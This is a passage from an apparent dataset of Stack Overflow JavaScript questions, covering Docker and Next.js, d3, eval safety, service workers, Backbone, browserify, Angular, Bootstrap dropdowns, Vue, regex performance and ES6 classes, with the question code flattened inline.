Cloud Run and go to the website , it results in an infinite reload loop ( page just freezes up and eventually runs out of memory . It works fine when being served as a Node.js app from Google App Engine . I think the error is in the Dockerfile ( I think I 'm doing something wrong with the ports ) . Heroku and Google Cloud Run randomize their process.env.PORT environment variable , if that 's any use , and ignore Docker 's EXPOSE commands as far as I 'm aware . No errors are shown in Network / Console when the reloads are happening . I thought it was due to Next.js 8 's hot module reload , but the issue persists on Next.js 7 as well . The relevant files are below . Dockerfileserver.js_app.jsUpdate : Reproducible repo code is here . Instructions are in the README , and it works fine locally . FROM node:10WORKDIR /usr/src/appCOPY package*.json ./RUN yarn # Copy source files.COPY . . # Build app.RUN yarn build # Run app.CMD [ `` yarn '' , `` start '' ] require ( ` dotenv ` ) .config ( ) ; const express = require ( ` express ` ) ; const bodyParser = require ( ` body-parser ` ) ; const session = require ( ` express-session ` ) ; const FileStore = require ( ` session-file-store ` ) ( session ) ; const next = require ( ` next ` ) ; const admin = require ( ` firebase-admin ` ) ; const { serverCreds } = require ( ` ./firebaseCreds ` ) ; const COOKIE_MAX_AGE = 604800000 ; // One week.const port = process.env.PORT ; const dev = process.env.NODE_ENV ! == ` production ` ; const secret = process.env.SECRET ; const app = next ( { dev } ) ; const handle = app.getRequestHandler ( ) ; const firebase = admin.initializeApp ( { credential : admin.credential.cert ( serverCreds ) , databaseURL : process.env.FIREBASE_DATABASE_URL , } , ` server ` , ) ; app.prepare ( ) .then ( ( ) = > { const server = express ( ) ; server.use ( bodyParser.json ( ) ) ; server.use ( session ( { secret , saveUninitialized : true , store : new FileStore ( { path : ` /tmp/sessions ` , secret } ) , resave : false , rolling : true , httpOnly : true , cookie : { maxAge : COOKIE_MAX_AGE } , } ) , ) ; server.use ( ( req , res , next ) = > { req.firebaseServer = firebase ; next ( ) ; } ) ; server.post ( ` /api/login ` , ( req , res ) = > { if ( ! req.body ) return res.sendStatus ( 400 ) ; const { token } = req.body ; firebase .auth ( ) .verifyIdToken ( token ) .then ( ( decodedToken ) = > { req.session.decodedToken = decodedToken ; return decodedToken ; } ) .then ( decodedToken = > res.json ( { status : true , decodedToken } ) ) .catch ( error = > res.json ( { error } ) ) ; } ) ; server.post ( ` /api/logout ` , ( req , res ) = > { req.session.decodedToken = null ; res.json ( { status : true } ) ; } ) ; server.get ( ` /profile ` , ( req , res ) = > { const actualPage = ` /profile ` ; const queryParams = { surname : req.query.surname } ; app.render ( req , res , actualPage , queryParams ) ; } ) ; server.get ( ` * ` , ( req , res ) = > handle ( req , res ) ) ; server.listen ( port , ( err ) = > { if ( err ) throw err ; console.log ( ` Server running on port : $ { port } ` ) ; } ) ; } ) ; import React from `` react '' ; import App , { Container } from `` next/app '' ; import firebase from `` firebase/app '' ; import `` firebase/auth '' ; import `` firebase/firestore '' ; import `` isomorphic-unfetch '' ; import { clientCreds } from `` ../firebaseCreds '' ; import { UserContext } from `` ../context/user '' ; import { login , logout } from `` ../api/auth '' ; const login = ( { user } ) = > user.getIdToken ( ) .then ( token = > fetch ( ` /api/login ` , { method : ` POST ` , headers : new Headers ( { `` Content-Type '' : ` application/json ` } ) , credentials : ` same-origin ` , body : JSON.stringify ( { token } ) , } ) ) ; const logout = ( ) = > fetch ( ` /api/logout ` , { method : ` POST ` , credentials : ` same-origin ` , } ) ; class MyApp extends App { static async getInitialProps ( { ctx , Component } ) { // Get Firebase User from the request if it exists . const user = getUserFromCtx ( { ctx } ) ; const pageProps = Component.getInitialProps ? await Component.getInitialProps ( { ctx } ) : { } ; return { user , pageProps } ; } constructor ( props ) { super ( props ) ; const { user } = props ; this.state = { user , } ; if ( firebase.apps.length === 0 ) { firebase.initializeApp ( clientCreds ) ; } } componentDidMount ( ) { firebase.auth ( ) .onAuthStateChanged ( ( user ) = > { if ( user ) { login ( { user } ) ; return this.setState ( { user } ) ; } } ) ; } doLogin = ( ) = > { firebase.auth ( ) .signInWithPopup ( new firebase.auth.GoogleAuthProvider ( ) ) ; } ; doLogout = ( ) = > { firebase .auth ( ) .signOut ( ) .then ( ( ) = > { logout ( ) ; return this.setState ( { user : null } ) ; } ) ; } ; render ( ) { const { Component , pageProps } = this.props ; return ( < Container > < UserContext.Provider value= { { user : this.state.user , login : this.doLogin , logout : this.doLogout , userLoading : this.userLoading , } } > < Component { ... pageProps } / > < /UserContext.Provider > < /Container > ) ; } } export default MyApp ;",Next.js infinite reload from Docker container "JS : I am reading an Arc information from json file and visualizing them using d3.Actually I am using d3.layout to grouping data . so I have to read this file where tag is our svg tag that is path and the value is the d value of path , The problem is d value will be changed after reading and return 0 . How do I read the value ? Should I organize my json file differently ? Here is my code : The json file : This is my source code : When I checked the console I expected `` M0,260A260,260 0 1,1 0 , -260A260,260 0 1,1 0,260M0,200A200,200 0 1,0 0 , -200A200,200 0 1,0 0,200Z '' but it 's return 0 , How can I handle it ? { `` id '' : `` svgContent '' , '' children '' : [ { `` id '' : `` circle1 '' , '' tag '' : `` path '' , `` value '' : `` M0,160A160,160 0 1,1 0 , -160A160,160 0 1,1 0,160M0,100A100,100 0 1,0 0 , -100A100,100 0 1,0 0,100Z '' , `` children '' : [ { `` id '' : `` point '' , `` cx '' : `` -67.59530401363443 '' , `` cy '' : `` -93.03695435311894 '' } , { `` id '' : `` point '' , `` cx '' : `` -109.37149937394265 '' , `` cy '' : `` 35.53695435311897 '' } , { `` id '' : `` point '' , `` cx '' : `` 1.4083438190194563e-14 '' , `` cy '' : `` 115 '' } ] } , { `` id '' : `` circle2 '' , '' tag '' : `` path '' , '' value '' : `` M0,260A260,260 0 1,1 0 , -260A260,260 0 1,1 0,260M0,200A200,200 0 1,0 0 , -200A200,200 0 1,0 0,200Z '' , `` children '' : [ { `` id '' : `` point '' , `` cx '' : `` -126.37382924288177 '' , `` cy '' : `` -173.93865379061367 '' } , { `` id '' : `` point '' , `` cx '' : `` -204.477151003458 '' , `` cy '' : `` 66.43865379061373 '' } , { `` id '' : `` point '' , `` cx '' : `` 2.6329906181668095e-14 '' , `` cy '' : `` 215 '' } ] } ] } var w = 1200 , h = 780 ; var svgContainer = d3.select ( `` # body '' ) .append ( `` svg '' ) .attr ( `` width '' , w ) .attr ( `` height '' , h ) .attr ( `` id '' , `` svgContent '' ) ; var pack = d3.layout.partition ( ) ; d3.json ( `` /data.json '' , function ( error , root ) { if ( error ) return console.error ( error ) ; var nodes = pack.nodes ( root ) ; svgContainer.selectAll ( `` pack '' ) .data ( nodes ) .enter ( ) .append ( `` svg '' ) .attr ( `` id '' , function ( d ) { return d.id ; } ) .append ( `` path '' ) .attr ( `` d '' , function ( d ) { console.log ( d.value ) ; return d.value ; } ) .attr ( `` transform '' , `` translate ( 600,0 ) '' ) ; } ) ;",Could n't read path d value from d3 json file ? "JS : I would like to allow user to perform simple calculations in the text inputs , so that typing 2*5 will result in 10 . I 'm replacing everything but digits with an empty string and then make calculation using eval ( ) . This seems easier and probably faster then parsing it manually.It 's often being said that eval ( ) is unsafe , so I would like to hear is there any danger or drawback of using it in this situation . function ( input ) { value = input.value.replace ( / [ ^-\d/*+ . ] /g , `` ) ; input.value=eval ( value ) ; }",Is using javascript eval ( ) safe for simple calculations in inputs ? "JS : I want to learn TypeScript.I have a JSON dictionary returned by the sentry method event_from_exception ( ) ( Python ) .I would like to format it as nice HTML with expandable local variables and pre_ and post_context . The result should look roughly like this : Here is an example json : How could this be done with TypeScript ? { `` exception '' : { `` values '' : [ { `` stacktrace '' : { `` frames '' : [ { `` function '' : `` main '' , `` abs_path '' : `` /home/modlink_cok_d/src/sentry-json.py '' , `` pre_context '' : [ `` from sentry_sdk.utils import event_from_exception '' , `` '' , `` def main ( ) : '' , `` local_var = 1 '' , `` try : '' ] , `` lineno '' : 9 , `` vars '' : { `` exc '' : `` ValueError ( ) '' , `` local_var '' : `` 1 '' } , `` context_line '' : `` raise ValueError ( ) '' , `` post_context '' : [ `` except Exception as exc : '' , `` event , info = event_from_exception ( sys.exc_info ( ) , with_locals=True ) '' , `` print ( json.dumps ( event , indent=2 ) ) '' , `` '' , `` main ( ) '' ] , `` module '' : `` __main__ '' , `` filename '' : `` sentry-json.py '' } ] } , `` type '' : `` ValueError '' , `` value '' : `` '' , `` module '' : `` exceptions '' , `` mechanism '' : null } ] } , `` level '' : `` error '' }",Convert JSON ( from Sentry ) to HTML with TypeScript "JS : I 've got a correct ServiceWorker installation and I 'm listening to the sync event with this code : And I correctly fire a sync event from the newsletter page with this code : So on the console I got : Then , debugging I see that does n't enter in the event.waitUntil in the serviceworker , and goes directly at the end of the file.What am I doing wrong ? Tried many times to empty cache , restart , reload , hard-reaload . self.addEventListener ( `` sync '' , function ( event ) { console.log ( `` a sync catched '' ) ; if ( event.tag === `` sync-newsletter '' ) { console.log ( `` is my sync '' ) ; event.waitUntil ( ( ) = > { return fetch ( `` http : //website.com/otherthings '' ) .then ( function ( response ) { console.log ( `` ok , sent '' ) ; } ) ; } ) ; } } ) ; if ( `` serviceWorker '' in navigator & & `` SyncManager '' in window ) { navigator.serviceWorker.ready.then ( function ( registration ) { console.log ( `` sw and sync available , sw ready '' ) ; registration.sync.register ( `` sync-newsletter '' ) .then ( console.log ( `` sync registered '' ) ) ; console.log ( `` ended sync '' ) ; } ) ; } else { console.log ( `` no newsletter for who dont have a sw and sync '' ) ; } newsletter.js:85 sw and sync available , sw readynewsletter.js:86 sync registerednewsletter.js:87 ended syncserviceworker.js:79 a sync catchedserviceworker.js:81 is my sync",ServiceWorker in sync event cant use waitUntil "JS : Given some JS code like that one here : Would the code be faster if we put the result of getElementsByName into a variable before the loop and then use the variable after that ? I am not sure how large the effect is in real life , with the result from getElementsByName typically having < 10 items . I 'd like to understand the underlying mechanics anyway.Also , if there 's anything else noteworthy about the two options , please tell me . for ( var i = 0 ; i < document.getElementsByName ( 'scale_select ' ) .length ; i++ ) { document.getElementsByName ( 'scale_select ' ) [ i ] .onclick = vSetScale ; }",How expensive are JS function calls ( compared to allocating memory for a variable ) ? "JS : I am a complete noob to backbone and decided to try and create a web page or two based using backbone as a structure . My first task is to create a basic navigation.My page lives here http : //dalydd.com/projects/backbone.htmlhere is my javascript thus fur to create that one little navigation itemMy question ( s ) is how can i loop through each instantiated nav item and append it to the ul element w/o writing each one outMy other question is can you use backbone without data-binding your scripts , data-binding seems like obtrusive javascript in a way . Also does one need to become an expert in underscore.js in order to use backbone properly . Underscore just seems like a bunch of predefined functions - does n't jQuery offer some of the same functions as utility functions ? so why even use underscore is because of the data binding ? can you use backbone w/o data-binding everything ? I 'm having a difficult time learning backbone because I feel like it mimics a classical language instead of using something like Object.create ( ) like Douglas Crockford uses . Are there any resources out there that just build a basic page using backbone ? I know it 's not intended for small applications but I 'm still trying to figure out how it all works.Again any help/resources is appreciated . I just started working for a large corporation and they are looking to implement an MVC framework for javascript and backbone seems the ideal choice but I am struggling thus far to learn . ( function ( $ ) { var NavigationItem = Backbone.Model.extend ( { defaults : { name : `` , href : `` , last : false , id : `` } , initialize : function ( ) { } } ) ; var home = new NavigationItem ( { name : 'home ' , href : '/home ' , id : 'home ' } ) ; var about = new NavigationItem ( { name : 'about ' , href : '/about ' } ) ; var contact = new NavigationItem ( { name : 'contact ' , href : '/contact ' , last : true } ) ; var TopNav = Backbone.Collection.extend ( { model : NavigationItem , } ) ; var topNav = new TopNav ( ) ; NavView = Backbone.View.extend ( { el : $ ( 'ul ' ) , initialize : function ( ) { _.bindAll ( this , 'render ' ) ; this.render ( ) ; } , render : function ( ) { var self = this ; $ ( this.el ) .append ( `` < li > < a href= '' +home.get ( 'href ' ) + '' > '' +home.get ( 'name ' ) + '' < /a > < /li > '' ) } } ) ; var navView = new NavView ( ) ; } ) ( jQuery ) ;",creating basic navigation in backbone "JS : I want to browserify , tsify and babelify my code . Browserify and one of the other transpilers work , but together they dont . Babel just seems to get ignored ( does not even read .babelrc ) .I have the following gulp code : With this babelrcAnd those dependenciesAs said even if I change the babelrc to something like the following I get no errors , it just doesnt minify the code . const gulp = require ( `` gulp '' ) ; const browserify = require ( `` browserify '' ) ; const source = require ( 'vinyl-source-stream ' ) ; const tsify = require ( `` tsify '' ) ; const babelify = require ( `` babelify '' ) ; function build ( ) { var b = browserify ( { basedir : ' . ' , debug : true , cache : { } , entries : [ 'src/index.ts ' ] , packageCache : { } } ) ; return b .plugin ( tsify ) .transform ( babelify ) .bundle ( ) .on ( `` error '' , function ( err ) { console.log ( `` Error : `` + err.message ) ; } ) .pipe ( source ( 'build.js ' ) ) .pipe ( gulp.dest ( `` build '' ) ) ; } gulp.task ( `` build '' , build ) ; { `` presets '' : [ `` minify '' ] } `` @ babel/core '' : `` ^7.2.2 '' , '' babel-preset-minify '' : `` ^0.5.0 '' , '' babelify '' : `` ^10.0.0 '' , '' browserify '' : `` ^16.2.3 '' , '' gulp '' : `` ^4.0.0 '' , '' tsify '' : `` ^4.0.1 '' , '' typescript '' : `` ^3.2.2 '' , '' vinyl-source-stream '' : `` ^2.0.0 ''",browserify + tsify + babelify ; babel gets ignored "JS : I have a JQuery function that adds classes to an element . I want to use the http : //daneden.me/animate/ animation package . To do this , I needed to add two classes , `` animated '' and `` animation type example '' , to my element . However , instead of adding a simple animation class , I wanted to change animate.css to animate.less so that I could pass in mixin parameters . But the JQuery addClass ( ) function does n't recognize my code as being valid.ex ] .animated { //effects } has already been changed to : .animated ( @ duration , @ delay ) { //effects } The code that works without mixins : What I 've tried in order to use mixins for @ duration & @ delay : Please let me know if you have suggestions or if there is a much easier way to accomplish this . Thanks ! function waterColorAnmiation ( ) { $ ( `` # stroke1 '' ) .addClass ( `` animated fadeInUp '' ) ; } function waterColorAnmiation ( ) { $ ( `` # stroke1 '' ) .addClass ( `` animated ( 1 , 3 ) fadeInUp '' ) ; }",JQuery .addClass ( ) with less mixins "JS : The following code results in undefined element at the middleThe output isI wanted to split if there were two new line characters with any number of new line or space or tab character between them as long as they are not alphabets or symbols or numbers . `` Hello World\n\nhello world '' .split ( /\n ( \n|\t|\s ) * ? \n/ ) '' Hello World\n\nhello world '' .split ( /\n ( \n|\t|\s ) *\n/ ) [ `` Hello World '' , undefined , `` hello world '' ]",javascript undefined elements occurs during regex split "JS : Im reading an url of the app http : //localhost/ ? config=preprodIm trying to create a Singleton service which reads UrlParameters.js and exposes get ( key ) method . Which stores config=preprodSimilar below ( from my Angular 1.x singleton service ) Now , I think I also will need access to Route params inside this service in Angular 2 , since I can not do the in Angular 2.Also , I need to share this UrlParams singleton with another Singleton service called Flag . Which reads Flag.get ( 'config ' ) Something like below ( extracted from my Angular 1.x project ) Flag.js get : function ( key ) { if ( ! params ) { params = { } ; var queryString = window.location.search.substring ( 1 ) ; _ ( queryString.split ( ' & ' ) ) .each ( function ( param ) { var val = param.split ( '= ' ) ; params [ val [ 0 ] ] = val [ 1 ] ; } ) ; } return params [ key ] ; } set : function ( flag ) { if ( UrlParameter.get ( flag ) ) { localStorage.setItem ( flag , UrlParameter.get ( flag ) ) ; } } , get : function ( flag ) { return localStorage.getItem ( flag ) ; }",How to create Singleton service in Angular 2 and read URL Params "JS : I 'm working on a project over at github pages , which I replace a bootstrap .dropdown with .dropup if the div 's overflow-y : scroll will cause the dropdown menu to be cutoff / overflow . You can see the function working properly at this jsfiddle . Notice if you click on the ellipsis icon to the right on the top rows , it will drop down , if you click on the icon on the bottom rows , it will drop up . Now , my actual implementation ( github page ) , the code is exactly the same ( below ) , but it wants to replace all .dropdown classes with .dropup when opened , including the top-most row which gets cut off , seen in the photo below . I 've been struggling with this for a week and ca n't quite figure it out . I 've tried a few different things that I thought fixed it but ended up just being a hack and did n't work on mobile , or replaced some but not all etc . Here is the Javascript / jQuery I 'm using , which can be seen in the jsfiddle and my github source here.Edit : To clear up any confusion , here 's an example of the behavior without my added .dropup function . jsfiddle Notice when you click the last menu item , it opens the menu but requires scrolling . I specifically want to remove the .dropdown class and add .dropup in this case , so no scrolling is required . $ ( document ) .on ( `` shown.bs.dropdown '' , `` .dropdown '' , function ( ) { // calculate the required sizes , spaces var $ ul = $ ( this ) .children ( `` .dropdown-menu '' ) ; var $ button = $ ( this ) .children ( `` .song-menu '' ) ; var ulOffset = $ ul.offset ( ) ; // how much space would be left on the top if the dropdown opened that direction var spaceUp = ( ulOffset.top - $ button.height ( ) - $ ul.height ( ) ) - $ ( ' # playlist ' ) .scrollTop ( ) ; // how much space is left at the bottom var spaceDown = $ ( ' # playlist ' ) .scrollTop ( ) + $ ( ' # playlist ' ) .height ( ) - ( ( ulOffset.top + 10 ) + $ ul.height ( ) ) ; // switch to dropup only if there is no space at the bottom AND there is space at the top , or there is n't either but it would be still better fit if ( spaceDown < 0 & & ( spaceUp > = 0 || spaceUp > spaceDown ) ) $ ( this ) .addClass ( `` dropup '' ) ; } ) .on ( `` hidden.bs.dropdown '' , `` .dropdown '' , function ( ) { // always reset after close $ ( this ) .removeClass ( `` dropup '' ) ; } ) ;",Replacing Bootstrap Dropdown with Dropup ( Different activity on two near identical implementations ) "JS : In React Native Example Code , you 'll find at some files the type statement , which encapsulates 4 properties ( I 'd like to guess ) , where the last two ones are suffixed with question marks.What does all this mean ? In specification of ECMAScript 6 I ca n't find anything regarding `` type '' . type MapRegion = { latitude : number , longitude : number , latitudeDelta ? : number , ^============ What are these ... longitudeDelta ? : number , } ; ^=========== ... question marks for ?",What does `` type '' mean and is there is a special use for a question mark in ECMA 6 ? "JS : Can someone tell me the difference between the above statements 1 & 2 . In either way child object is able to call c.printName ( ) ; function Parent ( parentName ) { this.name = parentName ; } Parent.prototype.printName = function ( ) { console.log ( this.name ) ; } var p = new Parent ( `` Parent '' ) ; console.log ( p ) ; function Child ( parentName , childName ) { Parent.call ( this , parentName ) ; this.name = childName ; } 1 . Child.prototype = Object.create ( Parent.prototype ) ; 2 . Child.prototype = Parent.prototype ; var c = new Child ( `` Parent '' , '' Child '' ) ; console.log ( c ) ;",Different ways of creating javascript prototype inheritance chain "JS : Possible Duplicate : Why do n't self-closing script tags work ? I just found a weired behavior with the script tag in HTML.I web server is nginx , and I used FAST CGI and PHP5 . I have a page.html , which looks like this : If this page is served directly from the web server , the java script works well . But if it passed to PHP5 , it seems only the first java script tag is executed . But if I change the script block into : Everything works again . Noticed how the tags are closed ? Yeah , that is why I am asking here . What is the difference ? They are supposed to have the same function/meaning . Besides , the output HTML that my web browser ( Chrome/IE9 ) received are the same , but why treated differently ? < html > < body > < ! -- < ? php echo ' i am going to add php code here ' ; ? > -- > < script type= '' text/javascript '' src= '' ./my/javascript1.js '' / > < script type= '' text/javascript '' src= '' ./my/javascript2.js '' / > < /body > < /html > < script type= '' text/javascript '' src= '' ./my/javascript1.js '' > < /script > < script type= '' text/javascript '' src= '' ./my/javascript2.js '' > < /script >",< script > < /script > or < script / > ? JS : I have a contenteditable div as follow ( | = cursor position ) : I would like to get the current cursor position including html tags . My code : Offset is returning 5 ( full text from the last tag ) but i need it to handle html tags . The expected return value is 40 . The code has to work with all recents browsers . ( i also checked this : window.getSelection ( ) offset with HTML tags ? but it does n't answer my question ) . Any ideas ? < div id= '' mydiv '' contenteditable= '' true '' > lorem ipsum < spanclass= '' highlight '' > indol|or sit < /span > amet consectetur < span class='tag ' > adipiscing < /span > elit < /div > var offset = document.getSelection ( ) .focusOffset ;,javascript : focusOffset with html tags "JS : Ca n't seem to figure out what 's going on here.http : //jsfiddle.net/Sth3Z/It should be doing it for each link , instead it only changes the last link no matter which one is being hovered over . < div id= '' navigation '' > < ul id= '' navList '' > < li class= '' navItem '' > < a href= '' http : //www.jacobsmits.com/placeholderRX.html '' > Discover < /a > < /li > < li class= '' navItem '' > < a href= '' http : //www.jacobsmits.com/placeholderRX/documentation.html '' > Documentation < /a > < /li > < li class= '' navItem '' > < a href= '' http : //www.jacobsmits.com/placeholderRX/download.html '' > Download < /a > < /li > < li class= '' navItem '' > < a href= '' http : //www.jacobsmits.com/placeholderRX/donate.html '' > Donate < /a > < /li > < /ul > < script type= '' text/javascript '' > $ ( '.navItem ' ) .each ( function ( ) { $ link = $ ( this ) .children ( ' a ' ) ; $ link.hover ( function ( ) { $ link.css ( 'width ' , '224px ' ) ; } , function ( ) { $ link.css ( 'width ' , '192px ' ) ; } ) } ) ; < /script > < /div >",Jquery each ( ) : variable in callback always has last value ? "JS : I would like to know if my approach is correct , and what is the best practice for similar situation . ScenarioI am trying to use Sinon.js to stub a function call in my authController , which takes two arguments and process the result in a Callback function to pass it to Next ( ) callback . something similar to this : the above method is being called inside my requestController which handles all the requests and needed authController to check the authentication . The question is how can I use sinon to stub or mock the behavior of authController and return a fake apiMethod but the rest of code continues and calls the next ( ) . Thanks in advance for your recommendations . // requestController.js module.exports = function ( req , res , next ) { authController.handle ( req , res , function ( apiMethod ) { if ( apiMethod ! == undefined || apiMethod ! == null ) { apiMethod ( next ) ; } else { next ( ) ; } } ) ; } ;",Stub a method that does a callback using Sinon "JS : I have my json array with is this : And i want to print it in a table , for example , a row for each data set , but , if i try with this codefor example , this is the outputThank you . [ { `` id '' : '' 1 '' , '' cid '' : '' 1 '' , '' da '' : '' 08:00:00 '' , '' a '' : '' 12:00:00 '' , '' data '' : '' 2011-07-03 '' , '' persone '' : '' 3 '' , '' nome '' : '' Via Bligny '' } , { `` id '' : '' 8 '' , '' cid '' : '' 1 '' , '' da '' : '' 08:30:00 '' , '' a '' : '' 14:45:00 '' , '' data '' : '' 2011-09-26 '' , '' persone '' : '' 2 '' , '' nome '' : '' Via Bligny '' } , { `` id '' : '' 9 '' , '' cid '' : '' 1 '' , '' da '' : '' 08:30:00 '' , '' a '' : '' 14:15:00 '' , '' data '' : '' 2011-09-26 '' , '' persone '' : '' 2 '' , '' nome '' : '' Via Bligny '' } ] < tr > < td > { id } < /td > < td > { da } < /td > < td > { a } < /td > < td > { data } < /td > ( ecc ) < /tr > function ore ( cid ) { $ .post ( 'index.php ? act=ore ' , { cid : 1 } , function ( data ) { $ .each ( data , function ( i ) { document.write ( data [ i ] .id ) ; } ) ; } ) ; } undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined",Looping through a JSON array with jQuery "JS : I am using VueJS and I want to push data to the server and afterwards change the route . I 've tried this : But I am getting this error : Uncaught TypeError : Can not read property ' $ router ' of undefinedCan anybody help ? saveSupportArea : function ( ) { this.toast ( `` success '' ) ; var that = this ; setTimeout ( function ( that ) { that. $ router.push ( '/areas/ ' ) ; } , 3000 ) ; } ) ;",Set timeout error when using routes with VueJS "JS : I am trying to work my way through someone else 's code and am finding some bizarre things . I found the following code in part of the program : This made no sense to me , as I was n't sure when such an event could happen ? Could typeof return the wrong type ? Or is it possible for a non-function object to be callable ? The code is a mess so I ca n't really find an example of where this particular check might succeed . I should note that the code may be upwards of 10 years old . The statement I received was that it was required because sometimes , when the code was originally written , a typeof was not returning function as a type.Also , this check was required because sometimes func would be passed a window object ( ? ) so it was necessary to make sure it was n't a window object as well . if ( typeof func == `` function '' || ( typeof func == `` object '' & & typeof func.document == `` undefined '' ) ) { func ( ) ; }","When , if ever , could Javascript 's `` typeof '' return an incorrect type ?" "JS : I 'm using ui-router v0.2.13 . This page states that : All resolves on one state will be resolved before moving on to the next state , even if they are n't injected into that childAnd more All resolves for all the states being entered are triggered and resolvesd before the transition will enter any states ( regardless of the resolve being injected somewhere ) However , in my case , child state resolve function is executed before parent 's resolve promise is resolved . How is this possible ? Here : If you navigate to /route1/list the alert is immediately shown instead of waiting 5 seconds until a parent resolve promise is resolved . $ stateProvider .state ( 'route1 ' , { url : `` /route1 '' , templateUrl : `` route1.html '' , resolve : { parent : [ `` $ timeout '' , `` $ q '' , function ( $ timeout , $ q ) { var d = $ q.defer ( ) ; $ timeout ( function ( ) { d.resolve ( ) ; } , 5000 ) ; return d.promise ; } ] } } ) .state ( 'route1.list ' , { url : `` /list '' , templateUrl : `` route1.list.html '' , controller : function ( $ scope ) { $ scope.items = [ `` A '' , `` List '' , `` Of '' , `` Items '' ] ; } , resolve : { child : function ( ) { alert ( `` I 'm shown before ` parent ` resolved '' ) ; } } } ) ;",Why is child state resolve functions are executed before parent state promises are resolved "JS : How can Node 's emitter.removeListener be implemented in ES2015 ? Adding a callback to an array is easy : How can that particular function be removed later , without registerCallback returning some identifier for the function ? In other words , unregisterCallback ( handler ) should not need any other parameter , and should remove that handler . How would unregisterCallback check that an anonymous function had been previously added ? Is running handler.toString ( ) ( and potentially a hash function on that ) a reliable solution to create an identifier for the function ? Or how else should unregisterCallback iterate through callbacks to remove that particular element ? ( Or find the appropriate key in an object or function in a Set . ) let callbacks = [ ] ; function registerCallback ( handler ) { callbacks.push ( handler ) ; } ) ; mySet.add ( function foo ( ) { return ' a ' } ) mySet.has ( function foo ( ) { return ' a ' } ) // false",Remove anonymous JavaScript function from array/object/Set "JS : I followed a tutorial and came out with this https : //jsbin.com/foxoxejilu/1/edit ? js , output using react.js.I 'm confused with the props and state . In the save method of Note component , what does this line doAnd I do n't see onChange and onRemove function elsewhere in the code , is that a pre-build function of react ? how does react know the DOM got changed or removed ? this.props.onChange ( this.refs.newText.value , this.props.id )",confusion between props and state in react.js "JS : I am using below regular expression to validate email address.Javascript Code : The regex evaluates quickly when I provide the below invalid email : ( I added # $ in the middle of the name ) However when I try to evaluate this email it takes too much time and the browser hangs . ( I added com1 in the end ) I 'm sure that the regex is correct but not sure why its taking so much time to evaluate the second example . If I provide an email with shorter length it evaluates quickly . See the below examplePlease help me fix the performance issue /^\w+ ( [ \.- ] ? \w+ ) * @ \w+ ( [ \.- ] ? w+ ) * ( \.\w { 2,3 } ) + $ / var email = 'myname @ company.com ' ; var pattern = /^\w+ ( [ \.- ] ? \w+ ) * @ \w+ ( [ \.- ] ? w+ ) * ( \.\w { 2,3 } ) + $ / ; if ( pattern.test ( email ) ) { return true ; } aseflj # $ kajsdfklasjdfklasjdfklasdfjklasdjfaklsdfjaklsdjfaklsfaksdjfkasdasdklfjaskldfjjdkfaklsdfjlak @ company.com asefljkajsdfklasjdfklasjdfklasdfjklasdjfaklsdfjaklsdjfaklsfaksdjfkasdasdklfjaskldfjjdkfaklsdfjlak @ company.com1 dfjjdkfaklsdfjlak @ company.com1",Performance issue while evaluating email address with a regular expression "JS : I am trying to cleaning my ES6 class definition , I have this kind of code now : This code extends everything passing to the constructor.I use it in this way : When I want to change the parameter passing to the constructor , such as : I want obj.f to be 6.I want the constructor to be reusable if I am passing different params to it . If the params passing to the constructor changes , the return value changes.I tried this : but this does not work.So why this does not work ? If I extends the Object class , why super ( { a:1 } ) does not return { a:1 } ? And how to achieve my goal ? class SomeClass { constructor ( { a , b , c , d , e } ) { this.a = a ; this.b = b ; this.c = c ; this.d = d ; this.e = e ; // some codes here } // some methods here.. } var obj = new SomeClass ( { a:1 , b:2 , c:3 , d:4 , e:5 } ) ; var obj = new SomeClass ( { a:1 , b:2 , c:3 , d:4 , e:5 , f:6 } ) ; class SomeClass extends Object { constructor ( params ) { super ( params ) ; // some codes here } // some methods here.. } $ node > new Object ( { a:1 } ) { a : 1 } > class MyClass extends Object { ... constructor ( params ) { super ( params ) ; } ... } undefined > new MyClass ( { a:1 } ) MyClass { }",How to extends an object with class in ES6 ? "JS : I am constructing a task app ( For fun ) & i just sat down thinking about this problem . I will put the question on my mind in words here.Model is extremely simple , it contains collection of Project . Each Project contains a TaskList these TaskList is nestable i.e for example a Task Design FrontPage can 